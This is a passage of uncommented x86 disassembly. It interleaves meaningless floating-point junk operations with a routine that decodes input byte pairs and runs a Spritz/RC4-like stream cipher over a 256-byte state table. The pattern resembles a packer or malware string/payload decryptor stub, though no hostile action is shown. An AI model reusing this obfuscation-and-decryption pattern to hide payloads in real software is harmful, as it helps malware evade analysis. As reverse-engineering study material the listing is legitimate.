movsd xmm0, qword [ebp - 0x878]
mulsd xmm0, qword [ebp - 0x8b8]
movsd qword [ebp - 0x878], xmm0
movsd xmm0, qword [ebp - 0x8b8]
mulsd xmm0, qword [ebp - 0x878]
movsd qword [ebp - 0x8b8], xmm0
movsd xmm0, qword [ebp - 0x814]
subsd xmm0, qword [ebp - 0x8b8]
movsd qword [ebp - 0x814], xmm0
movsd xmm0, qword [ebp - 0x878]
divsd xmm0, qword [ebp - 0x814]
movsd qword [ebp - 0x878], xmm0
movsd xmm0, qword [ebp - 0x8b8]
comisd xmm0, xmmword [ebp - 0x814]
jbe 0x489e64
movsd xmm0, qword [ebp - 0x814]
addsd xmm0, qword [ebp - 0x8b8]
movsd qword [ebp - 0x814], xmm0
movsd xmm0, qword [ebp - 0x8b8]
addsd xmm0, qword [ebp - 0x878]
movsd qword [ebp - 0x8b8], xmm0
movsd xmm0, qword [ebp - 0x814]
addsd xmm0, qword [ebp - 0x8b8]
movsd qword [ebp - 0x814], xmm0
jmp 0x489eac
movsd xmm0, qword [ebp - 0x8b8]
addsd xmm0, qword [ebp - 0x878]
movsd qword [ebp - 0x8b8], xmm0
movsd xmm0, qword [ebp - 0x878]
mulsd xmm0, qword [ebp - 0x814]
movsd qword [ebp - 0x878], xmm0
movsd xmm0, qword [ebp - 0x878]
subsd xmm0, qword [ebp - 0x814]
movsd qword [ebp - 0x878], xmm0
jmp 0x489f02
movsd xmm0, qword [ebp - 0x8b8]
subsd xmm0, qword [ebp - 0x814]
movsd qword [ebp - 0x8b8], xmm0
movsd xmm0, qword [ebp - 0x814]
mulsd xmm0, qword [ebp - 0x878]
movsd qword [ebp - 0x814], xmm0
movsd xmm0, qword [ebp - 0x878]
mulsd xmm0, qword [ebp - 0x8b8]
movsd qword [ebp - 0x878], xmm0
mov cl, byte [ebp - 0x1c8]
mov byte [ebp - 0x1af], cl
mov dl, byte [ebp - 0x1a0]
mov byte [ebp - 0x1ec], dl
cmp dword [ebp - 0x224], 0
jle 0x489f2a
mov eax, dword [ebp - 0x224]
mov cl, byte [ebp - 0x1ec]
mov byte [ebp + eax - 0x95], cl
mov edx, dword [ebp - 0x330]
add edx, 6
mov dword [ebp - 0x330], edx
mov eax, dword [ebp - 0x224]
add eax, 1
mov dword [ebp - 0xd24], eax
jmp 0x489f59
mov ecx, dword [ebp - 0xd24]
add ecx, 1
mov dword [ebp - 0xd24], ecx
mov edx, dword [ebp - 0xd24]
cmp edx, dword [ebp - 0x330]
jge 0x48a50d
mov eax, dword [ebp - 0x224]
add eax, 1
mov dword [ebp - 0x224], eax
mov ecx, dword [ebp - 0x224]
shl ecx, 1
mov dword [ebp - 0x548], ecx
mov edx, dword [ebp - 0x54c]
add edx, dword [ebp - 0x548]
movzx eax, byte [edx]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d0], 0x77
mov ecx, dword [ebp - 0x224]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4f4], edx
mov eax, dword [ebp - 0x54c]
add eax, dword [ebp - 0x4f4]
movzx ecx, byte [eax]
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x4b0], 8
mov edx, dword [ebp - 0x4d8]
sub edx, dword [ebp - 0x4d0]
mov dword [ebp - 0x49c], edx
mov eax, dword [ebp - 0x4b4]
sub eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4a4], eax
mov ecx, dword [ebp - 0x49c]
shl ecx, 4
mov dword [ebp - 0x550], ecx
movss xmm0, dword [0x58293c]
movss dword [ebp - 0x33c], xmm0
movss xmm0, dword [0x5828d8]
movss dword [ebp - 0x338], xmm0
movss xmm0, dword [0x582880]
movss dword [ebp - 0x3e0], xmm0
movss xmm0, dword [0x582824]
movss dword [ebp - 0x60c], xmm0
movss xmm0, dword [0x5827bc]
movss dword [ebp - 0x3dc], xmm0
movss xmm0, dword [ebp - 0x33c]
addss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x33c], xmm0
movss xmm0, dword [ebp - 0x60c]
addss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x60c], xmm0
movss xmm0, dword [ebp - 0x33c]
mulss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x33c], xmm0
movss xmm0, dword [ebp - 0x33c]
addss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x33c], xmm0
movss xmm0, dword [ebp - 0x33c]
subss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x33c], xmm0
movss xmm0, dword [ebp - 0x33c]
comiss xmm0, dword [ebp - 0x3dc]
jbe 0x48a16f
movss xmm0, dword [ebp - 0x3dc]
mulss xmm0, dword [ebp - 0x33c]
movss dword [ebp - 0x3dc], xmm0
movss xmm0, dword [ebp - 0x3e0]
subss xmm0, dword [ebp - 0x60c]
movss dword [ebp - 0x3e0], xmm0
movss xmm0, dword [ebp - 0x3dc]
addss xmm0, dword [ebp - 0x33c]
movss dword [ebp - 0x3dc], xmm0
movss xmm0, dword [ebp - 0x33c]
mulss xmm0, dword [ebp - 0x338]
movss dword [ebp - 0x33c], xmm0
movss xmm0, dword [ebp - 0x338]
mulss xmm0, dword [ebp - 0x3e0]
movss dword [ebp - 0x338], xmm0
mov edx, dword [ebp - 0x4a4]
mov dword [ebp - 0x520], edx
jmp 0x48a362
movss xmm0, dword [ebp - 0x3e0]
subss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x3e0], xmm0
movss xmm0, dword [ebp - 0x60c]
mulss xmm0, dword [ebp - 0x33c]
movss dword [ebp - 0x60c], xmm0
movss xmm0, dword [ebp - 0x338]
addss xmm0, dword [ebp - 0x60c]
movss dword [ebp - 0x338], xmm0
movss xmm0, dword [ebp - 0x3e0]
subss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x3e0], xmm0
movss xmm0, dword [ebp - 0x60c]
divss xmm0, dword [ebp - 0x33c]
movss dword [ebp - 0x60c], xmm0
movss xmm0, dword [ebp - 0x60c]
mulss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x60c], xmm0
movss xmm0, dword [ebp - 0x3dc]
divss xmm0, dword [ebp - 0x33c]
movss dword [ebp - 0x3dc], xmm0
movss xmm0, dword [ebp - 0x60c]
divss xmm0, dword [ebp - 0x3dc]
movss dword [ebp - 0x60c], xmm0
movss xmm0, dword [ebp - 0x3e0]
divss xmm0, dword [ebp - 0x60c]
movss dword [ebp - 0x3e0], xmm0
movss xmm0, dword [ebp - 0x3e0]
divss xmm0, dword [ebp - 0x60c]
movss dword [ebp - 0x3e0], xmm0
movss xmm0, dword [ebp - 0x3dc]
comiss xmm0, dword [ebp - 0x3e0]
jbe 0x48a2ea
movss xmm0, dword [ebp - 0x338]
mulss xmm0, dword [ebp - 0x3e0]
movss dword [ebp - 0x338], xmm0
movss xmm0, dword [ebp - 0x338]
subss xmm0, dword [ebp - 0x3e0]
movss dword [ebp - 0x338], xmm0
movss xmm0, dword [ebp - 0x338]
divss xmm0, dword [ebp - 0x3e0]
movss dword [ebp - 0x338], xmm0
movss xmm0, dword [ebp - 0x338]
addss xmm0, dword [ebp - 0x3e0]
movss dword [ebp - 0x338], xmm0
movss xmm0, dword [ebp - 0x338]
subss xmm0, dword [ebp - 0x3e0]
movss dword [ebp - 0x338], xmm0
jmp 0x48a362
movss xmm0, dword [ebp - 0x33c]
subss xmm0, dword [ebp - 0x338]
movss dword [ebp - 0x33c], xmm0
movss xmm0, dword [ebp - 0x338]
addss xmm0, dword [ebp - 0x3e0]
movss dword [ebp - 0x338], xmm0
movss xmm0, dword [ebp - 0x3dc]
addss xmm0, dword [ebp - 0x33c]
movss dword [ebp - 0x3dc], xmm0
movss xmm0, dword [ebp - 0x338]
addss xmm0, dword [ebp - 0x3e0]
movss dword [ebp - 0x338], xmm0
movss xmm0, dword [ebp - 0x33c]
subss xmm0, dword [ebp - 0x338]
movss dword [ebp - 0x33c], xmm0
mov eax, dword [ebp - 0x550]
or eax, dword [ebp - 0x520]
mov dword [ebp - 0x518], eax
mov cl, byte [ebp - 0x518]
mov byte [ebp - 0x1c8], cl
movzx edx, byte [ebp - 0x1af]
mov al, byte [ebp + edx - 0x1654]
mov byte [ebp - 0x1c9], al
movzx ecx, byte [ebp - 0x194]
movzx edx, byte [ebp + ecx - 0x1654]
mov dword [ebp - 0x18e8], edx
mov al, byte [ebp - 0x194]
add al, 1
mov byte [ebp - 0x194], al
movzx ecx, byte [ebp - 0x1a2]
add ecx, dword [ebp - 0x18e8]
mov byte [ebp - 0x1a2], cl
movzx edx, byte [ebp - 0x1a2]
movzx eax, byte [ebp - 0x1af]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x1a0]
movzx eax, byte [ebp - 0x1a2]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x194]
movzx eax, byte [ebp - 0x1a0]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x194]
mov al, byte [ebp - 0x1c9]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x1c9]
movzx edx, byte [ebp + ecx - 0x1654]
movzx eax, byte [ebp - 0x1cb]
add eax, edx
mov byte [ebp - 0x1cb], al
movzx ecx, byte [ebp - 0x1c8]
movzx edx, byte [ebp - 0x1a2]
movzx eax, byte [ebp + edx - 0x1654]
movzx edx, byte [ebp - 0x194]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1654]
xor ecx, eax
movzx edx, byte [ebp - 0x1a0]
movzx eax, byte [ebp + edx - 0x1654]
movzx edx, byte [ebp - 0x1af]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
movzx edx, byte [ebp - 0x1cb]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1654]
movzx edx, byte [ebp + eax - 0x1654]
xor ecx, edx
mov byte [ebp - 0x1a0], cl
mov al, byte [ebp - 0x1c8]
mov byte [ebp - 0x1af], al
mov cl, byte [ebp - 0x1a0]
mov byte [ebp - 0x1ec], cl
cmp dword [ebp - 0x224], 0
jle 0x48a508
mov edx, dword [ebp - 0x224]
mov al, byte [ebp - 0x1ec]
mov byte [ebp + edx - 0x95], al
jmp 0x489f4a
movsd xmm0, qword [0x582750]
movsd qword [ebp - 0xb08], xmm0
movsd xmm0, qword [0x5825f0]
movsd qword [ebp - 0xdfc], xmm0
movsd xmm0, qword [0x582358]
movsd qword [ebp - 0xb10], xmm0
movsd xmm0, qword [ebp - 0xb08]
addsd xmm0, qword [ebp - 0xb10]
movsd qword [ebp - 0xb08], xmm0
movsd xmm0, qword [ebp - 0xdfc]
addsd xmm0, qword [ebp - 0xb10]
movsd qword [ebp - 0xdfc], xmm0
movsd xmm0, qword [ebp - 0xb08]
subsd xmm0, qword [ebp - 0xb10]
movsd qword [ebp - 0xb08], xmm0
movsd xmm0, qword [ebp - 0xdfc]
comisd xmm0, xmmword [ebp - 0xb10]
jbe 0x48a5f0
movsd xmm0, qword [ebp - 0xb08]
addsd xmm0, qword [ebp - 0xdfc]
movsd qword [ebp - 0xb08], xmm0
movsd xmm0, qword [ebp - 0xdfc]
addsd xmm0, qword [ebp - 0xb10]
movsd qword [ebp - 0xdfc], xmm0
movsd xmm0, qword [ebp - 0xb10]
mulsd xmm0, qword [ebp - 0xb08]
movsd qword [ebp - 0xb10], xmm0
mov ecx, dword [ebp - 0x330]
add ecx, 1
mov dword [ebp - 0x330], ecx
jmp 0x48a638
movsd xmm0, qword [ebp - 0xb08]
subsd xmm0, qword [ebp - 0xb10]
movsd qword [ebp - 0xb08], xmm0
movsd xmm0, qword [ebp - 0xb08]
addsd xmm0, qword [ebp - 0xb10]
movsd qword [ebp - 0xb08], xmm0
movsd xmm0, qword [ebp - 0xb10]
divsd xmm0, qword [ebp - 0xdfc]
movsd qword [ebp - 0xb10], xmm0
mov edx, dword [ebp - 0x224]
add edx, 1
mov dword [ebp - 0x224], edx
mov eax, dword [ebp - 0x330]
add eax, 1
mov dword [ebp - 0x330], eax
mov ecx, dword [ebp - 0x224]
shl ecx, 1
mov dword [ebp - 0x548], ecx
mov edx, dword [ebp - 0x54c]
add edx, dword [ebp - 0x548]
movzx eax, byte [edx]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d0], 0x77
mov ecx, dword [ebp - 0x224]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4f4], edx
mov eax, dword [ebp - 0x54c]
add eax, dword [ebp - 0x4f4]
movzx ecx, byte [eax]
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x4b0], 8
mov edx, dword [ebp - 0x4d8]
sub edx, dword [ebp - 0x4d0]
mov dword [ebp - 0x49c], edx
mov eax, dword [ebp - 0x4b4]
sub eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4a4], eax
mov ecx, dword [ebp - 0x49c]
shl ecx, 4
mov dword [ebp - 0x550], ecx
mov edx, dword [ebp - 0x4a4]
mov dword [ebp - 0x520], edx
mov eax, dword [ebp - 0x550]
or eax, dword [ebp - 0x520]
mov dword [ebp - 0x518], eax
mov cl, byte [ebp - 0x518]
mov byte [ebp - 0x1c8], cl
movzx edx, byte [ebp - 0x1af]
mov al, byte [ebp + edx - 0x1654]
mov byte [ebp - 0x1c9], al
movzx ecx, byte [ebp - 0x194]
movzx edx, byte [ebp + ecx - 0x1654]
mov dword [ebp - 0x1958], edx
mov al, byte [ebp - 0x194]
add al, 1
mov byte [ebp - 0x194], al
movzx ecx, byte [ebp - 0x1a2]
add ecx, dword [ebp - 0x1958]
mov byte [ebp - 0x1a2], cl
movzx edx, byte [ebp - 0x1a2]
movzx eax, byte [ebp - 0x1af]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x1a0]
movzx eax, byte [ebp - 0x1a2]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x194]
movzx eax, byte [ebp - 0x1a0]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x194]
mov al, byte [ebp - 0x1c9]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x1c9]
movzx edx, byte [ebp + ecx - 0x1654]
movzx eax, byte [ebp - 0x1cb]
add eax, edx
mov byte [ebp - 0x1cb], al
movzx ecx, byte [ebp - 0x1c8]
movzx edx, byte [ebp - 0x1a2]
movzx eax, byte [ebp + edx - 0x1654]
movzx edx, byte [ebp - 0x194]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1654]
xor ecx, eax
movzx edx, byte [ebp - 0x1a0]
movzx eax, byte [ebp + edx - 0x1654]
movzx edx, byte [ebp - 0x1af]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
movzx edx, byte [ebp - 0x1cb]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1654]
movzx edx, byte [ebp + eax - 0x1654]
xor ecx, edx
mov byte [ebp - 0x1a0], cl
mov al, byte [ebp - 0x1c8]
mov byte [ebp - 0x1af], al
mov cl, byte [ebp - 0x1a0]
mov byte [ebp - 0x1ec], cl
cmp dword [ebp - 0x224], 0
jle 0x48a897
mov edx, dword [ebp - 0x224]
mov al, byte [ebp - 0x1ec]
mov byte [ebp + edx - 0x95], al
mov ecx, dword [ebp - 0x224]
add ecx, 1
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0x330]
add edx, 1
mov dword [ebp - 0x330], edx
mov eax, dword [ebp - 0x224]
shl eax, 1
mov dword [ebp - 0x548], eax
mov ecx, dword [ebp - 0x54c]
add ecx, dword [ebp - 0x548]
movzx edx, byte [ecx]
mov dword [ebp - 0x4d8], edx
mov dword [ebp - 0x4d0], 0x77
mov eax, dword [ebp - 0x224]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4f4], ecx
mov edx, dword [ebp - 0x54c]
add edx, dword [ebp - 0x4f4]
movzx eax, byte [edx]
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], 8
mov ecx, dword [ebp - 0x4d8]
sub ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0x49c], ecx
mov edx, dword [ebp - 0x4b4]
sub edx, dword [ebp - 0x4b0]
mov dword [ebp - 0x4a4], edx
mov eax, dword [ebp - 0x49c]
shl eax, 4
mov dword [ebp - 0x550], eax
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x520], ecx
mov edx, dword [ebp - 0x550]
or edx, dword [ebp - 0x520]
mov dword [ebp - 0x518], edx
movss xmm0, dword [0x58292c]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [0x582890]
movss dword [ebp - 0x2a4], xmm0
movss xmm0, dword [0x5827f0]
movss dword [ebp - 0x32c], xmm0
movss xmm0, dword [ebp - 0x2a4]
subss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x2a4], xmm0
movss xmm0, dword [ebp - 0x2a4]
addss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x2a4], xmm0
movss xmm0, dword [ebp - 0x250]
addss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x250]
comiss xmm0, dword [ebp - 0x32c]
jbe 0x48aa44
movss xmm0, dword [ebp - 0x2a4]
subss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x2a4], xmm0
movss xmm0, dword [ebp - 0x2a4]
addss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x2a4], xmm0
movss xmm0, dword [ebp - 0x32c]
subss xmm0, dword [ebp - 0x250]
movss dword [ebp - 0x32c], xmm0
mov al, byte [ebp - 0x518]
mov byte [ebp - 0x1c8], al
jmp 0x48ac66
movss xmm0, dword [ebp - 0x250]
addss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x32c]
mulss xmm0, dword [ebp - 0x250]
movss dword [ebp - 0x32c], xmm0
movss xmm0, dword [ebp - 0x250]
addss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x250]
subss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x250]
mulss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x250]
divss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x2a4]
comiss xmm0, dword [ebp - 0x250]
jbe 0x48ac1e
movss xmm0, dword [ebp - 0x250]
addss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x250]
addss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x32c]
addss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x32c], xmm0
movss xmm0, dword [ebp - 0x32c]
mulss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x32c], xmm0
movss xmm0, dword [ebp - 0x250]
subss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x250]
addss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x250]
comiss xmm0, dword [ebp - 0x2a4]
jbe 0x48abd4
movss xmm0, dword [ebp - 0x2a4]
addss xmm0, dword [ebp - 0x250]
movss dword [ebp - 0x2a4], xmm0
movss xmm0, dword [ebp - 0x250]
mulss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x2a4]
subss xmm0, dword [ebp - 0x250]
movss dword [ebp - 0x2a4], xmm0
jmp 0x48ac1c
movss xmm0, dword [ebp - 0x2a4]
addss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x2a4], xmm0
movss xmm0, dword [ebp - 0x250]
mulss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x250]
subss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x250], xmm0
jmp 0x48ac66
movss xmm0, dword [ebp - 0x250]
mulss xmm0, dword [ebp - 0x2a4]
movss dword [ebp - 0x250], xmm0
movss xmm0, dword [ebp - 0x2a4]
subss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x2a4], xmm0
movss xmm0, dword [ebp - 0x2a4]
mulss xmm0, dword [ebp - 0x32c]
movss dword [ebp - 0x2a4], xmm0
movzx ecx, byte [ebp - 0x1af]
mov dl, byte [ebp + ecx - 0x1654]
mov byte [ebp - 0x1c9], dl
movzx eax, byte [ebp - 0x194]
movzx ecx, byte [ebp + eax - 0x1654]
mov dword [ebp - 0x195c], ecx
mov dl, byte [ebp - 0x194]
add dl, 1
mov byte [ebp - 0x194], dl
movzx eax, byte [ebp - 0x1a2]
add eax, dword [ebp - 0x195c]
mov byte [ebp - 0x1a2], al
movzx ecx, byte [ebp - 0x1a2]
movzx edx, byte [ebp - 0x1af]
mov al, byte [ebp + ecx - 0x1654]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x1a0]
movzx edx, byte [ebp - 0x1a2]
mov al, byte [ebp + ecx - 0x1654]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x194]
movzx edx, byte [ebp - 0x1a0]
mov al, byte [ebp + ecx - 0x1654]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x194]
mov dl, byte [ebp - 0x1c9]
mov byte [ebp + ecx - 0x1654], dl
movzx eax, byte [ebp - 0x1c9]
movzx ecx, byte [ebp + eax - 0x1654]
movzx edx, byte [ebp - 0x1cb]
add edx, ecx
mov byte [ebp - 0x1cb], dl
movzx eax, byte [ebp - 0x1c8]
movzx ecx, byte [ebp - 0x1a2]
movzx edx, byte [ebp + ecx - 0x1654]
movzx ecx, byte [ebp - 0x194]
movzx ecx, byte [ebp + ecx - 0x1654]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1654]
xor eax, edx
movzx ecx, byte [ebp - 0x1a0]
movzx edx, byte [ebp + ecx - 0x1654]
movzx ecx, byte [ebp - 0x1af]
movzx ecx, byte [ebp + ecx - 0x1654]
add edx, ecx
movzx ecx, byte [ebp - 0x1cb]
movzx ecx, byte [ebp + ecx - 0x1654]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1654]
movzx ecx, byte [ebp + edx - 0x1654]
xor eax, ecx
mov byte [ebp - 0x1a0], al
mov dl, byte [ebp - 0x1c8]
mov byte [ebp - 0x1af], dl
mov al, byte [ebp - 0x1a0]
mov byte [ebp - 0x1ec], al
cmp dword [ebp - 0x224], 0
jle 0x48adf1
mov ecx, dword [ebp - 0x224]
mov dl, byte [ebp - 0x1ec]
mov byte [ebp + ecx - 0x95], dl
mov eax, dword [ebp - 0x224]
add eax, 1
mov dword [ebp - 0x224], eax
mov ecx, dword [ebp - 0x330]
add ecx, 1
mov dword [ebp - 0x330], ecx
mov edx, dword [ebp - 0x224]
shl edx, 1
mov dword [ebp - 0x548], edx
mov eax, dword [ebp - 0x54c]
add eax, dword [ebp - 0x548]
movzx ecx, byte [eax]
mov dword [ebp - 0x4d8], ecx
mov dword [ebp - 0x4d0], 0x77
mov edx, dword [ebp - 0x224]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4f4], eax
mov ecx, dword [ebp - 0x54c]
add ecx, dword [ebp - 0x4f4]
movzx edx, byte [ecx]
mov dword [ebp - 0x4b4], edx
mov dword [ebp - 0x4b0], 8
mov eax, dword [ebp - 0x4d8]
sub eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x49c], eax
mov ecx, dword [ebp - 0x4b4]
sub ecx, dword [ebp - 0x4b0]
mov dword [ebp - 0x4a4], ecx
mov edx, dword [ebp - 0x49c]
shl edx, 4
mov dword [ebp - 0x550], edx
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x550]
or ecx, dword [ebp - 0x520]
mov dword [ebp - 0x518], ecx
mov dl, byte [ebp - 0x518]
mov byte [ebp - 0x1c8], dl
movzx eax, byte [ebp - 0x1af]
mov cl, byte [ebp + eax - 0x1654]
mov byte [ebp - 0x1c9], cl
movzx edx, byte [ebp - 0x194]
movzx eax, byte [ebp + edx - 0x1654]
mov dword [ebp - 0x1960], eax
mov cl, byte [ebp - 0x194]
add cl, 1
mov byte [ebp - 0x194], cl
movzx edx, byte [ebp - 0x1a2]
add edx, dword [ebp - 0x1960]
mov byte [ebp - 0x1a2], dl
movzx eax, byte [ebp - 0x1a2]
movzx ecx, byte [ebp - 0x1af]
mov dl, byte [ebp + eax - 0x1654]
mov byte [ebp + ecx - 0x1654], dl
movzx eax, byte [ebp - 0x1a0]
movzx ecx, byte [ebp - 0x1a2]
mov dl, byte [ebp + eax - 0x1654]
mov byte [ebp + ecx - 0x1654], dl
movzx eax, byte [ebp - 0x194]
movzx ecx, byte [ebp - 0x1a0]
mov dl, byte [ebp + eax - 0x1654]
mov byte [ebp + ecx - 0x1654], dl
movzx eax, byte [ebp - 0x194]
mov cl, byte [ebp - 0x1c9]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x1c9]
movzx eax, byte [ebp + edx - 0x1654]
movzx ecx, byte [ebp - 0x1cb]
add ecx, eax
mov byte [ebp - 0x1cb], cl
movzx edx, byte [ebp - 0x1c8]
movzx eax, byte [ebp - 0x1a2]
movzx ecx, byte [ebp + eax - 0x1654]
movzx eax, byte [ebp - 0x194]
movzx eax, byte [ebp + eax - 0x1654]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1654]
xor edx, ecx
movzx eax, byte [ebp - 0x1a0]
movzx ecx, byte [ebp + eax - 0x1654]
movzx eax, byte [ebp - 0x1af]
movzx eax, byte [ebp + eax - 0x1654]
add ecx, eax
movzx eax, byte [ebp - 0x1cb]
movzx eax, byte [ebp + eax - 0x1654]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1654]
movzx eax, byte [ebp + ecx - 0x1654]
xor edx, eax
mov byte [ebp - 0x1a0], dl
mov cl, byte [ebp - 0x1c8]
mov byte [ebp - 0x1af], cl
mov dl, byte [ebp - 0x1a0]
mov byte [ebp - 0x1ec], dl
cmp dword [ebp - 0x224], 0
jle 0x48b053
mov eax, dword [ebp - 0x224]
mov cl, byte [ebp - 0x1ec]
mov byte [ebp + eax - 0x95], cl
mov edx, dword [ebp - 0x330]
add edx, 7
mov dword [ebp - 0x330], edx
mov eax, dword [ebp - 0x224]
add eax, 1
mov dword [ebp - 0xd28], eax
jmp 0x48b082
mov ecx, dword [ebp - 0xd28]
add ecx, 1
mov dword [ebp - 0xd28], ecx
mov edx, dword [ebp - 0xd28]
cmp edx, dword [ebp - 0x330]
jge 0x48b2e9
mov eax, dword [ebp - 0x224]
add eax, 1
mov dword [ebp - 0x224], eax
mov ecx, dword [ebp - 0x224]
shl ecx, 1
mov dword [ebp - 0x548], ecx
mov edx, dword [ebp - 0x54c]
add edx, dword [ebp - 0x548]
movzx eax, byte [edx]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d0], 0x77
mov ecx, dword [ebp - 0x224]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4f4], edx
mov eax, dword [ebp - 0x54c]
add eax, dword [ebp - 0x4f4]
movzx ecx, byte [eax]
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x4b0], 8
mov edx, dword [ebp - 0x4d8]
sub edx, dword [ebp - 0x4d0]
mov dword [ebp - 0x49c], edx
mov eax, dword [ebp - 0x4b4]
sub eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4a4], eax
mov ecx, dword [ebp - 0x49c]
shl ecx, 4
mov dword [ebp - 0x550], ecx
mov edx, dword [ebp - 0x4a4]
mov dword [ebp - 0x520], edx
mov eax, dword [ebp - 0x550]
or eax, dword [ebp - 0x520]
mov dword [ebp - 0x518], eax
mov cl, byte [ebp - 0x518]
mov byte [ebp - 0x1c8], cl
movzx edx, byte [ebp - 0x1af]
mov al, byte [ebp + edx - 0x1654]
mov byte [ebp - 0x1c9], al
movzx ecx, byte [ebp - 0x194]
movzx edx, byte [ebp + ecx - 0x1654]
mov dword [ebp - 0x1964], edx
mov al, byte [ebp - 0x194]
add al, 1
mov byte [ebp - 0x194], al
movzx ecx, byte [ebp - 0x1a2]
add ecx, dword [ebp - 0x1964]
mov byte [ebp - 0x1a2], cl
movzx edx, byte [ebp - 0x1a2]
movzx eax, byte [ebp - 0x1af]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x1a0]
movzx eax, byte [ebp - 0x1a2]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x194]
movzx eax, byte [ebp - 0x1a0]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x194]
mov al, byte [ebp - 0x1c9]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x1c9]
movzx edx, byte [ebp + ecx - 0x1654]
movzx eax, byte [ebp - 0x1cb]
add eax, edx
